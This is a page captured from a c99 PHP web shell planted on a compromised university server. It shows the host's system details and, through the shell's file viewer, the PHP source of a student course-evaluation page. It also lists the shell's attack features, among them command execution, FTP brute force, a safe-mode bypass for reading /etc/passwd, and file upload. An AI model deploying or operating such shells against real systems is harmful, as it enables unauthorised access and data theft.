!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/eassess/student/   drwxr-xr-x
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     showFormByCourse1.php (12.92 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?
include_once "template.php";
showHeader();
include_once 
"../class/clsReg_SysSemesterDes.php";
include_once 
"../link/function.php";
include_once 
"../class/clsCourseAssess.php";
include_once 
"../class/clsHoldCourse.php";
include_once 
"../class/clsRegistration.php";
include_once 
"../class/clsClassAssess.php";
include_once 
"../class/clsClassInStructorAssess.php";
include_once 
"../class/clsOfficerAssess.php";
include_once 
"../class/clsDefineAssessment.php";
include_once 
"../class/clsAssessForm.php";
include_once 
"../class/clsDoAssessment.php";

sendRequest();

$oCR = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_REG'], $GLOBALS['USER_REG'], $GLOBALS['PASSWORD_REG']);

$oCA = new clsConnection($GLOBALS['HOST'], $GLOBALS['DB_EASS'], $GLOBALS['USER_EASS'], $GLOBALS['PASSWORD_EASS']);

$oReg = new Registration($oCA);
$oCIS = new ClassInStructorAssess($oCA);
$oOFA = new OfficerAssess($oCA);
$oDA = new DefineAssessment($oCA);
$oHC = new HoldCourse($oCA);
$oAF = new AssessForm($oCA);
$oDo = new DoAssessment($oCA);

$oClass = new ClassAssess($oCA);
$oClass->SearchByKey($classId);
$oClass->GetRecord();

$oCourse = new CourseAssess($oCA);
$oCourse->SearchByKey($courseId);
$oCourse->GetRecord();

$oReg->RSRegisByStdIdAndClassId($studentId$classId);
$oReg->GetRecord();

$now GetNowDate();
list(
$y$m$d) = split('[-]'$now);
$y=$y+543;
$nowDate=$y."-".$m."-".$d;

if(!
$acadYear)
    
$acadYear $GLOBALS["ACADYEAR"];
if(!
$semester)
    
$semester $GLOBALS["SEMESTER"];

$oSse = new SysSemesterDes($oCR);
$oSse->SearchByKey($semester);
$oSse->GetRecord();

?>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<table width="740" border="0" align="center" cellpadding="0" cellspacing="0">
  <tr> 
    <td><br>
      <fieldset>
      <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="index.php?mm=1">เริ่มการประเมิน 
      </a><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle">รายการแบบประเมินแยกตามรายวิชาและผู้สอน</font></legend>
      </legend>
      <div align="center"> 
        <form name="pc" method="post" action="<?php echo $PHP_SELF;?>"><br>
          <table width="639" align="center" border="0">
            <tr> 
              <td width="637" height="60">
                <table width="632" border="0" align="center">
                  <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_7"];?>"> 
                    <td width="95" height="24"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b><img src="../picture/bullet1.gif"  border ="0">&nbsp;รหัสรายวิชา</b></font></td>
                    <td colspan="3"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>:</b> 
                      &nbsp;<?php echo $oCourse->courseCode?> (<?php echo $oCourse->courseCodeEng?>)</font><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b> 
                      </b></font></td>
                  </tr>
                  <tr> 
                    <td height="20"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b><img src="../picture/bullet1.gif"  border ="0">&nbsp;ชื่อรายวิชา 
                      </b></font></td>
                    <td colspan="3"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>:</b></font>&nbsp;<font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"> 
                      <?php echo $oCourse->courseName?></font><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"> 
                      (<?php echo $oCourse->courseNameEng?>)</font></td>
                  </tr>
                  <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TD_7"];?>"> 
                    <td height="20"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b><img src="../picture/bullet1.gif"  border ="0">&nbsp;หน่วยกิต 
                      </b></font></td>
                    <td width="124"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>: 
                      </b>&nbsp;<?php echo $oCourse->courseUnit;?></font></td>
                    <td width="45"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b><img src="../picture/bullet1.gif"  border ="0">&nbsp;กลุ่ม</b></font></td>
                    <td width="338"><font size="2" color="<?php echo $GLOBALS['COLOR_FONT_4'];?>"><b>:</b>&nbsp;<?php echo $oClass->section?></font></td>
                  </tr>
                </table>
              </td>
            </tr>
            <tr> 
              <td height="2"></td>
            </tr>
            <tr> 
              <td><br>
              <table width="635" border="0" align="center" headerbgColor = "#B7B7B7">
                  <tr bgcolor="<?php echo $GLOBALS["COLOR_BG_TABLE_6"];?>"> 
                    <td width="141" height="22" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>อาจารย์ผู้สอน</strong></font></td>
                    <td colspan="2" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>"><strong>รายการแบบประเมิน</strong></font></td>
                    <td align="center"><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2">&nbsp;</font><font color="<?php echo $GLOBALS["COLOR_FONT_1"];?>" size="2"><strong>สถานะ</strong></font></td>
                  </tr>
                  <?php
            $i 
0;        
            
$ck=0;
            
$flag=0;

            
//-----------------> $oCIS->SearchByClassIdSection($classId,$oClass->section);
            
$oCIS->SearchByClassIdGroupClassIdOfficerId($classId);
            while(
$oCIS->GetRecord()){
                
//echo "officerId = ".$oCIS->officerId;
                
$oOFA->SearchByKey($oCIS->officerId);
                
$oOFA->GetRecord();
                
//แสดงรายชื่ออาจารย์                
                
$index 0

                
//ค้นหาแบบประเมินที่ได้กำหนดไว้  แบบที่ผูกกับรายวิชาทั้งหมด (flag =0)
                
$oDA->SearchAssidByShow($nowDate,'0',$acadYear,$semester);
                while(
$oDA->GetRecord()){
                    
$oAF->SearchByKey($oDA->assid);
                    
$oAF->GetRecord();
                    
$chAss $oDo->CountCheckAssessment($oDA->defineid,$studentId,$oCIS->officerId,$classId,$oClass->section);
                    
//echo "chAss = ".$chAss;
                    
                    
if(($i%2) == 0)
                        echo 
'<tr>';
                    else
                        echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_4"].'">';
?>
                  <td height="20"> 
                    <? if($index == 0) echo "<img src=\"../picture/user.gif\"  border =\"0\">&nbsp; อ.".$oOFA->officerName." ".$oOFA->officerSurname."<br>" ?>
                  </td>
                  <td width="20" height="20" valign="top"> <img src="../picture/ico1.gif"  border ="0" align="top"></td>
                  <td width="348"> 
                    <?php if($chAss == '0') { ?>
                    <a href = "assessFormHCourse.php?defineid=<? echo $oDA->defineid ?>&assid=<? echo $oDA->assid ?>&studentId=<? echo $studentId ?>&classId=<? echo $classId ?>&courseId=<? echo $courseId ?>&section=<? echo $oClass->section ?>&officerId=<? echo $oCIS->officerId?>" onclick="return sendRequest(this);" onmouseover="window.status=''; return true;"><? echo $oAF->nameAss ?></a> 
                    <?php }else{  ?>
                    <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_5"]; ?>"><? echo $oAF->nameAss;?> 
                    </font> 
                    <? ?>
                  </td>
                  <td width="96"> 
                    <?php 
                  
if($chAss == '0'){ ?>
                    <a href = "assessFormHCourse.php?defineid=<? echo $oDA->defineid ?>&assid=<? echo $oDA->assid ?>&studentId=<? echo $studentId ?>&classId=<? echo $classId ?>&courseId=<? echo $courseId ?>&section=<? echo $oClass->section ?>&officerId=<? echo $oCIS->officerId?>" onclick="return sendRequest(this);" onmouseover="window.status=''; return true;"><?php echo "<img src=\"../picture/no.gif\"  border =\"0\">  ยังไม่ได้ประเมิน"?></a> 
                    <?php }else{  ?>
                    <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_5"]; ?>"><? echo "<img src=\"../picture/yes.gif\"  border =\"0\"> ประเมินแล้ว"?></font> 
                    <? }
?>
                  </td>
                  </tr>
                  <?php
                    $index
++;
                    
$ck=1;                  
                } 
// end while oDA
                
                //ค้นหาแบบประเมินที่ได้กำหนดไว้  แบบที่ผูกกับรายวิชาทั้งหมด (flag =1)
                
$oDA->SearchAssidByShow($nowDate,'1',$acadYear,$semester);
                while(
$oDA->GetRecord()){
                    
$oHC->SearchByDefineidClassId($oDA->defineid,$classId);
                    if(
$oHC->GetRecord() == '1'){        
                        
$oAF->SearchByKey($oDA->assid);
                        
$oAF->GetRecord();
                        
$chAssHold $oDo->CountCheckAssessment($oDA->defineid,$studentId,$oCIS->officerId,$classId,$oClass->section);
                        
//echo "chAss = ".$chAss;
                        
if(($i%2) == 0)
                            echo 
'<tr>';
                        else
                            echo 
'<tr bgcolor="'.$GLOBALS["COLOR_BG_TD_4"].'">';
    
?>
                  <td height="22"> 
                    <? if($index == 0) echo "<img src=\"../picture/user.gif\"  border =\"0\">&nbsp; อ.".$oOFA->officerName." ".$oOFA->officerSurname."<br>" ?>
                  </td>
                  <td height="22" valign="top"><img src="../picture/ico1.gif"  border ="0" align="top"></td>
                  <td height="22"> 
                    <?php if($chAssHold == '0') { ?>
                    <a href = "assessFormHCourse.php?defineid=<? echo $oDA->defineid ?>&assid=<? echo $oDA->assid ?>&studentId=<? echo $studentId ?>&classId=<? echo $classId ?>&courseId=<? echo $courseId ?>&section=<? echo $oClass->section ?>&officerId=<? echo $oCIS->officerId?>" onclick="return sendRequest(this);" onmouseover="window.status=''; return true;"><? echo $oAF->nameAss ?><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"> 
                    *</font></a> 
                    <?php }else{ ?>
                    <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_5"]; ?>"><?php echo $oAF->nameAss;?> 
                    *</font> 
                    <?php ?>
                  </td>
                  <td> 
                    <?php 
                          
if($chAssHold == '0'){?>
                    <a href = "assessFormHCourse.php?defineid=<? echo $oDA->defineid ?>&assid=<? echo $oDA->assid ?>&studentId=<? echo $studentId ?>&classId=<? echo $classId ?>&courseId=<? echo $courseId ?>&section=<? echo $oClass->section ?>&officerId=<? echo $oCIS->officerId?>" onclick="return sendRequest(this);" onmouseover="window.status=''; return true;"><?php echo "<img src=\"../picture/no.gif\"  border =\"0\">  ยังไม่ได้ประเมิน"?></a> 
                    <?php }else{ ?>
                    <font size="2" color="<?php echo $GLOBALS["COLOR_FONT_5"]; ?>"><? echo "<img src=\"../picture/yes.gif\"  border =\"0\"> ประเมินแล้ว"?></font> 
                    <? }?>
                  </td>
                  </tr>
                  <?php
                        $index
++;
                    }
//end if
                
$ck=1;                  
                } 
// end while oDA
                
$i++;
                
$flag=1;
            }    
// end while oCIS
                        
            
if($ck == 0) {
?>
                  <tr> 
                    <td height="20" colspan="4" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">** 
                      ไม่พบอาจารย์ประจำวิชาหรือประจำกลุ่ม **</font></td>
                  </tr>
                  <?php
            
} if($flag == 0) {
?>
                  <tr> 
                    <td height="20" colspan="4" align="center"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">** 
                      ไม่ปรากฏรายการแบบประเมินสำหรับรายวิชานี้ **</font></td>
                  </tr>
                  <?php
            
}
?>
                  <tr bgcolor="<?php echo $GLOBALS['COLOR_BG_TABLE_6'];?>"> 
                    <td height="13" colspan="4" align="right"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_1"];?>">&nbsp;</font></td>
                  </tr>
                </table>
                <table width="95%" border="0" align="center">
                  <tr>
                    <td>&nbsp;</td>
                  </tr>
                  <tr>
                    <td height="26"><input type="button" name="back2" value="กลับสู่หน้าหลัก" onClick=" location.href = 'index.php?mm=1'">
                    </td>
                  </tr>
                </table></td>
            </tr>
          </table>
          <br>
</form></div></label>
</fieldset><br>
      <table width="89%" border="0">
        <tr> 
          <td width="11%" height="27"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>"><strong>หมายเหตุ 
            : </strong></font></td>
          <td width="178%" colspan="2"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">คลิกที่แบบประเมินหรือคลิกที่สถานะของการประเมิน 
            เพื่อทำการประเมินรายวิชาโดยแยกตามอาจารย์ผู้สอน</font></td>
        </tr>
        <tr> 
          <td height="27">&nbsp;</td>
          <td colspan="2"><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"];?>">* 
            หมายถึง แบบประเมินเฉพาะรายวิชา</font></td>
        </tr>
      </table></td>
</tr>
</table>
<form name="silent" id="silent" style="margin:0px; padding: 0px;" method="post"></form>
<?php
showFooter
();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0164 ]--